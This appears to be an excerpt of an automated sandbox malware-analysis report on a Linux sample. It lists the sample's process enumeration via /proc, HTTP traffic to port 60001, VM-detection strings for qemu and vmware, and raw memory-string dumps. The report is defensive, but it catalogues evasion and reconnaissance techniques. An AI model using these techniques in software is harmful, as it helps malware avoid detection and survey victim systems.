Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/1463/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/2156/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/800/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/800/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/801/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/801/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/1629/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/1627/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/1900/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/491/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/491/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/2294/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/2050/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/5040/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/1877/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/772/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/772/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/1633/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/1599/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/1632/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/1477/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/774/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/774/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/1476/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/1872/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/2048/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/1475/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/2289/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/777/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/777/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/658/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/658/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/936/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/936/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/1639/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/1638/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/2208/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/2180/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/5179/fd	Jump to behavior
Source: /tmp/1xtO9V8ku8 (PID: 5227)	File opened: /proc/1809/fd	Jump to behavior

Executes the "systemctl" command used for controlling the systemd system and service manager

Source: /usr/sbin/invoke-rc.d (PID: 5420)	Systemctl executable: /usr/bin/systemctl -> systemctl --quiet is-enabled cups.service	Jump to behavior
Source: /usr/sbin/invoke-rc.d (PID: 5422)	Systemctl executable: /usr/bin/systemctl -> systemctl --quiet is-active cups.service	Jump to behavior
Source: /usr/lib/rsyslog/rsyslog-rotate (PID: 5428)	Systemctl executable: /usr/bin/systemctl -> systemctl kill -s HUP rsyslog.service	Jump to behavior

Executes commands using a shell command-line interpreter

Source: /usr/sbin/logrotate (PID: 5416)	Shell command executed: sh -c "\n\t\tinvoke-rc.d --quiet cups restart > /dev/null\n" logrotate_script "/var/log/cups/*log "			Jump to behavior
Source: /usr/sbin/logrotate (PID: 5424)	Shell command executed: sh -c /usr/lib/rsyslog/rsyslog-rotate logrotate_script /var/log/syslog			Jump to behavior

Hooking and other Techniques for Hiding and Protection:

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 37448 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 44114 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 44114 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 44114 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 37448 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 40318 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 40318 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 37448 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 59880 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 58706 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 56064 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 60001 -> 58706
Source: unknown	Network traffic detected: HTTP traffic on port 56064 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 56064 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 40318 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 45126 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 39846 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 37448 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 45126 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 58638 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 58638 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 58638 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 40318 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 45126 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 58638 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 59590 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 41194 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 59590 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 33692 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 58638 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 60728 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 41194 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 59382 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 45126 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 59590 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 60728 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 59382 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 55434 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 41194 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 50984 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 58560 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 60001 -> 58560
Source: unknown	Network traffic detected: HTTP traffic on port 55434 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 37448 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 50126 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 50984 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 59382 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 55334 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 55334 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 55334 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 55334 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 50126 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 40318 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 55334 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 59590 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 58638 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 55334 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 50126 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 41194 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 57546 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 59382 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 56310 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 56310 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 55334 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 56310 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 45126 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 56310 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 42466 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 50126 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 42466 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 56310 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 46714 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 59590 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 55334 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 56310 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 41194 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 58638 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 59382 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 50126 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 37448 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 41008 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 40318 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 56310 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 52250 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 41008 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 55334 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 45652 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 45126 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 59766 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 59766 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 59766 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 59590 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 41194 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 59382 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 59766 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 56310 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 52606 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 50126 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 39416 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 49456 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 49456 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 59766 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 49456 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 49456 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 43962 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 37642 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 37642 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 49456 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 43962 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 37642 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 56466 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 37642 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 60580 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 60580 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 56466 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 60580 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 59844 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 43962 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 59844 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 60580 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 49456 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 59844 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 37642 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 59844 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 56466 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 60580 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 59844 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 43962 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 60580 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 37642 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 56466 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 45660 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 49456 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 59844 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 55670 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 37110 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 55670 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 55670 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 37110 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 55670 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 37110 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 60580 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 55670 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 37110 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 55670 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 37110 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 52980 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 59766 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 52980 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 52980 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 43962 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 59844 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 52068 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 52980 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 55670 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 37642 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 56466 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 52068 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 52980 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 36150 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 37110 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 36150 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 36150 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 36150 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 52068 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 47086 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 60001 -> 47086
Source: unknown	Network traffic detected: HTTP traffic on port 52980 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 36150 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 55670 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 60580 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 52068 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 46314 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 41138 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 37110 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 36150 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 58916 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 58916 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 41138 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 58916 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 52980 -> 60001

Malware Analysis System Evasion:

Uses the "uname" system call to query kernel version information (possible evasion)

Source: /usr/bin/find (PID: 5409)

Queries kernel information via 'uname':

Jump to behavior

Deletes log files

Source: /usr/sbin/logrotate (PID: 5374)	Truncated file: /var/log/cups/access_log.1			Jump to behavior
Source: /usr/sbin/logrotate (PID: 5374)	Truncated file: /var/log/syslog.1			Jump to behavior

Source: 5419.34.dr	Binary or memory string: -9915837702310A--gzvmware kernel module
Source: 5419.34.dr	Binary or memory string: -1116261022170A--gzQEMU User Emulator
Source: 5419.34.dr	Binary or memory string: qemu-or1k
Source: 5419.34.dr	Binary or memory string: qemu-riscv64
Source: 5419.34.dr	Binary or memory string: {cqemu
Source: 5419.34.dr	Binary or memory string: qemu-arm
Source: 5419.34.dr	Binary or memory string: (qemu
Source: 5419.34.dr	Binary or memory string: qemu-tilegx
Source: 5419.34.dr	Binary or memory string: qemu-hppa
Source: 5419.34.dr	Binary or memory string: q{rqemu%
Source: 5419.34.dr	Binary or memory string: )qemu
Source: 5419.34.dr	Binary or memory string: vmware-toolbox-cmd
Source: 5419.34.dr	Binary or memory string: qemu-ppc
Source: 5419.34.dr	Binary or memory string: Tqemu9
Source: 5419.34.dr	Binary or memory string: qemu-aarch64_be
Source: 5419.34.dr	Binary or memory string: 0qemu9
Source: 5419.34.dr	Binary or memory string: qemu-sparc64
Source: 5419.34.dr	Binary or memory string: qemu-mips64
Source: 5419.34.dr	Binary or memory string: vV:qemu9
Source: 5419.34.dr	Binary or memory string: qemu-ppc64le
Source: 5419.34.dr	Binary or memory string: <glib::param::uint64Glib::Param::UInt643pm315820097650A--gzWrapper for uint64 parameters in GLibx86_64-linux-gnu-ld.gold-1116112426130B--gzThe GNU ELF linkerprinter-profile-1115804162510A--gzProfile using X-Rite ColorMunki and Argyll CMSgrub-fstest-1116214898500A--gzdebug tool for GRUB filesystem driversxdg-user-dir-1115483406210A--gzFind an XDG user dirkmodsign-1115569251480A--gzKernel module signing toolsensible-editor-1115739932820A--gzsensible editing, paging, and web browsingminesMines6615854478170Cgnome-mines-gzinputattach-1115708189280A--gzattach a serial line to an input-layer devicegapplication-1116155671180A--gzD-Bus application launcherip-tunnel-8815816145190A--gztunnel configurationkoi8rxterm-1116140167530A--gzX terminal emulator for KOI8-R environmentsfoo2hiperc-wrapper-1115804162510A-tgzConvert Postscript into a HIPERC printer streamcryptsetup-reencrypt-8816002888050A--gztool for offline LUKS device re-encryptionsyndaemon-1115861716810A--gza program that monitors keyboard activity and disables the touchpad when the keyboard is being used.gslj-1115980290200B--gzFormat and print text for LaserJet printer using ghostscriptfile2brl-1115757179490A--gzTranslate an xml or a text file into an embosser-ready braille filexfdesktop-settings-1115793419820A--gzDesktop settings for Xfceua-1115856013570B--gzManage Ubuntu Advantage services from Canonicallatin4-7715812813670B--gzISO 8859-4 character set encoded in octal, decimal, and hexadecimalsane-genesys-5516003468200A--gzSANE backend for GL646, GL841, GL843, GL847 and GL124 based USB flatbed scannerspdftohtml-1115853266670A--gzprogram to convert PDF files into HTML, XML and PNG imagesbluetooth-sendto-1116015653360A--gzGTK application for transferring files over Bluetoothqemu-ppc64-1116261022170B--gzQEMU User Emulatorcache_metadata_size-8815811608350A--gzEstimate the size of the metadata device needed for a given configuration.net::dbus::exporterNet::DBus::Exporter3pm315773746310A--gzExport object methods and signals to the bussane-pint-5516003468200A--gzSANE backend for scanners that use the PINT device driverbpf-helpers7-7715812813670A--gzlist of eBPF helper functionsfull-4415812813670A--gzalways full devicelogin-1115906478670A--gzbegin session on the systemcups-snmp-8815877390340A--gzcups snmp backend (deprecated)ordchr-3am315728089600A--gzconvert characters to strings and vice versasosreport-1116092694050A--gzCollect and package diagnostic and support datatop-1115827827270A--gzdisplay Linux processesuri::_punycodeURI::_punycode3pm315811897880A--gzencodes Unicode string in Punycodettytty4tty1systemd-localed-8816268940210B--gzLocale bus mechanismlvmsadc-8815816289110
Source: 5419.34.dr	Binary or memory string: vmware
Source: 5419.34.dr	Binary or memory string: qemu-cris
Source: 5419.34.dr	Binary or memory string: libvmtools
Source: 5419.34.dr	Binary or memory string: qemu-m68k
Source: 5419.34.dr	Binary or memory string: qemu-xtensa
Source: 5419.34.dr	Binary or memory string: 9qemu
Source: 5419.34.dr	Binary or memory string: qemu-sh4
Source: 5419.34.dr	Binary or memory string: Dprezip-bin-1116269780060A--gzprefix zip delta word list compressor/decompressornameif-8815490444730A--gzname network interfaces based on MAC addressesxdg-user-dirs-update-1115483406210A--gzUpdate XDG user dir configurationip-link-8815816145190A--gznetwork device configurationhpsa-4415812813670A--gzHP Smart Array SCSI driverhd4-4415812813670A--gzMFM/IDE hard disk devicessane-canon630u-5516003468200A--gzSANE backend for the Canon 630u USB flatbed scannersg_copy_results-8815825816070A--gzsend SCSI RECEIVE COPY RESULTS command (XCOPY related)grub-macbless-8816214898500A--gzbless a mac file/directoryntfstruncate-8815568625640A-tgztruncate a file on an NTFS volumelessfile-1115936459130B--gz"input preprocessor" for less.sane-artec-5516003468200A--gzSANE backend for Artec flatbed scannersrmdir-1115676799200A--gzremove empty directoriessystemd-networkd-wait-online.service-8816268940210A--gzWait for network to come onlinemkfs.ntfs-8815568625640B-tgzcreate an NTFS file systemsg_inq-8815825816070A--gzissue SCSI INQUIRY command and/or decode its responseradattr.so-8815955079440Cpppd-radattr-gzc_rehash-1ssl116164130370B--gzCreate symbolic links to files named by the hash valuestc-htb-8815816145190A--gzHierarchy Token Bucketgvfs-open-1115868766090A--gzsg_rbuf-8815825816070A--gzreads data using SCSI READ BUFFER commandglib-compile-schemas-1116155671180A--gzGSettings schema compileropenssl-srp-1ssl116164130370B--gzmaintain SRP password fileopenssl-rehash-1ssl116164130370B--gzCreate symbolic links to files named by the hash valueslibvmtools-3315837702310A--gzvmware shared librarypasswd5-5515906478670A--gzthe password filenet::dbus::dumperNet::DBus::Dumper3pm315773746310A--gzStringify Net::DBus objects suitable for printingsane-hp4200-5516003468200A--gzSANE backend for Hewlett-Packard 4200 scannersposixoptions-7715812813670A--gzoptional parts of the POSIX standardnetworkmanager.confNetworkManager.conf5516002723180A--gzNetworkManager configuration fileownership-8815771238010A--gzCompaq ownership tag retrieveroakdecode-1115804162510A--gzDecode an OAKT printer stream into human readable form.gvfs-save-1115868766090A--gzmkfs.minix-8815953177680A--gzmake a Minix filesystemuri7-7715812813670A--gzuniform resource identifier (URI), including a URL or URNedit-1115714399500B--gzexecute programs via entries in the mailcap filegit-diff-files-1116148628880A--gzCompares files in the working tree and the index.ldaprc-5516136581350Cldap.conf-gzpactl-1116219586470A--gzControl a running PulseAudio sound servertempfile-1115756848240A--gzcreate a temporary file in a safe mannerhp-check-1115857238880A--gzDependency/Vers
Source: 5419.34.dr	Binary or memory string: .qemu{
Source: 5419.34.dr	Binary or memory string: qemu-ppc64abi32
Source: 5419.34.dr	Binary or memory string: qemu-ppc64
Source: 5419.34.dr	Binary or memory string: qemu-i386
Source: 5419.34.dr	Binary or memory string: qemu-x86_64
Source: 5419.34.dr	Binary or memory string: H~6\nqemu*q
Source: 5419.34.dr	Binary or memory string: @qemu
Source: 5419.34.dr	Binary or memory string: Fqqemu
Source: 5419.34.dr	Binary or memory string: N4qemu
Source: 5419.34.dr	Binary or memory string: ~6\nqemu*q
Source: 5419.34.dr	Binary or memory string: qemu-mips64el
Source: 5419.34.dr	Binary or memory string: hqemu
Source: 5419.34.dr	Binary or memory string: &mqemu
Source: 5419.34.dr	Binary or memory string: $qemu
Source: 5419.34.dr	Binary or memory string: qemu-sparc
Source: 5419.34.dr	Binary or memory string: qemu-microblaze
Source: 5419.34.dr	Binary or memory string: qemu-user
Source: 5419.34.dr	Binary or memory string: qemu-aarch64
Source: 5419.34.dr	Binary or memory string: qemu-sh4eb
Source: 5419.34.dr	Binary or memory string: iqemu
Source: 5419.34.dr	Binary or memory string: qemu-mipsel
Source: 5419.34.dr	Binary or memory string: qemuP`
Source: 5419.34.dr	Binary or memory string: qemu-alpha
Source: 5419.34.dr	Binary or memory string: qemu-microblazeel
Source: 5419.34.dr	Binary or memory string: \qemu
Source: 5419.34.dr	Binary or memory string: qemu-xtensaeb
Source: 5419.34.dr	Binary or memory string: qemu-mipsn32el
Source: 5419.34.dr	Binary or memory string: SAqemu
Source: 5419.34.dr	Binary or memory string: Vqemu
Source: 5419.34.dr	Binary or memory string: qemu-mipsn32
Source: 5419.34.dr	Binary or memory string: qemuAU
Source: 5419.34.dr	Binary or memory string: qemu-riscv32
Source: 5419.34.dr	Binary or memory string: qemu-sparc32plus
Source: 5419.34.dr	Binary or memory string: 7,qemu
Source: 5419.34.dr	Binary or memory string: qemu-s390x
Source: 5419.34.dr	Binary or memory string: vmware-checkvm
Source: 5419.34.dr	Binary or memory string: qemu-nios2
Source: 5419.34.dr	Binary or memory string: qemu-armeb
Source: 5419.34.dr	Binary or memory string: -4415868968400A--gzVMware SVGA video driver
Source: 5419.34.dr	Binary or memory string: 7xml::parser::style::streamXML::Parser::Style::Stream3pm315701248990A--gzStream style for XML::Parsersystemd-timedated-8816268940210B--gzTime and date bus mechanismxfce4-keyboard-settings-1115867081120A--gzKeyboard settings for Xfcepygettext2-1115841026830B--gzPython equivalent of xgettext(1)sudoedit-8816110660620B--gzexecute a command as another userintro7-7715812813670A--gzintroduction to overview and miscellany sectionsprof-1115812813670A--gzread and display shared object profiling datadhclient.conf-5516219398220A--gzDHCP client configuration filepam_group-8815953742440A--gzPAM module for group accesssystemd-ask-password-1116268940210A--gzQuery the user for a system passwordupdate-dictcommon-hunspell-8815422954860A--gzrebuild hunspell database and emacsen stuffqemu-nios2-1116261022170B--gzQEMU User Emulatorlwp::useragentLWP::UserAgent3pm315750405830A--gzWeb user agent classgpgcompose-1115838662460A--gzGenerate a stream of OpenPGP packetsecho-1115676799200A--gzdisplay a line of textio::socket::ssl::utilsIO::Socket::SSL::Utils3pm315817106800A--gz- loading, storing, creating certificates and keyscurl-1116268709580A--gztransfer a URLgetcap-8815819434600A--gzexamine file capabilitieszegrep-1115762517060B--gzsearch possibly compressed files for a regular expressiongrub-syslinux2cfg-1116214898500A--gztransform syslinux config into grub.cfgrtc-4415812813670A--gzreal-time clockglib::codegenGlib::CodeGen3pm315820097650A--gzcode generation utilities for Glib-based bindings.wpa_cli-8816146062790A--gzWPA command line clientiso_8859_3-7715812813670B--gzISO 8859-3 character set encoded in octal, decimal, and hexadecimaliso_8859-9-7715812813670A-tgzISO 8859-9 character set encoded in octal, decimal, and hexadecimallvextend-8815816289110A--gzAdd space to a logical volumeresolvectl-1116268940210A--gzResolve domain names, IPV4 and IPv6 addresses, DNS resource records, and services; introspect and reconfigure the DNS resolverchgrp-1115676799200A--gzchange group ownershipsystemd-cgls-1116268940210A--gzRecursively show control group contentspygettext3.8-1113852085880A--gzPython equivalent of xgettext(1)ping4-8815804258830B--gzsend ICMP ECHO_REQUEST to network hostsidmapwb-8816000845410A--gzwinbind ID mapping plugin for cifs-utilsapturl-gtk-8815799493830B--gzgraphical apt-protocol interpreting package installersane-epsonds-5516003468200A--gzSANE backend for EPSON ESC/I-2 scannersgvfs-monitor-file-1115868766090A--gzrstart-1115829564830A--gza sample implementation of a Remote Start clientgit-stage-1116148628880A--gzAdd file contents to the staging areatc-pedit-8815816145190A--gzgeneric packet editor actioniptables-save-881582899
Source: 5419.34.dr	Binary or memory string: I_qemu
Source: 5419.34.dr	Binary or memory string: -1116261022170B--gzQEMU User Emulator
Source: 5419.34.dr	Binary or memory string: -3315837702310A--gzvmware shared library
Source: 5419.34.dr	Binary or memory string: qemu-mips
Source: 5419.34.dr	Binary or memory string: qemuj\
Source: 5419.34.dr	Binary or memory string: {qemuQ&
Source: 5419.34.dr	Binary or memory string: Wgnome-text-editor-111629209547491759146B--gztext editor for the GNOME Desktopx11::protocol::connection::filehandleX11::Protocol::Connection::FileHandle3pm314314075500A--gzPerl module base class for FileHandle-based X11 connectionshtbHTB8815816145190Ctc-htb-gzcifscreds-1116000845410A--gzmanage NTLM credentials in kernel keyringiwconfig-8815490049440A--gzconfigure a wireless network interfaceossl_store-file-7ssl716164130370A--gzThe store 'file' scheme loadertc-stab-8815816145190A--gzGeneric size table manipulationsnotifier-7715877390340A--gzcups notification interfaceqemu-arm-1116261022170B--gzQEMU User EmulatorgemfileGemfile5516263767190Cgemfile2.7-gzglib::object::subclassGlib::Object::Subclass3pm315820097650A--gzregister a perl class as a GObject classnetcat-111612200165426646725B--gzarbitrary TCP and UDP connections and listensdpkg::changelog::parseDpkg::Changelog::Parse3perl315849439740A--gzgeneric changelog parser for dpkg-parsechangelogmpris-proxy-1116243432320A--gzBluetooth 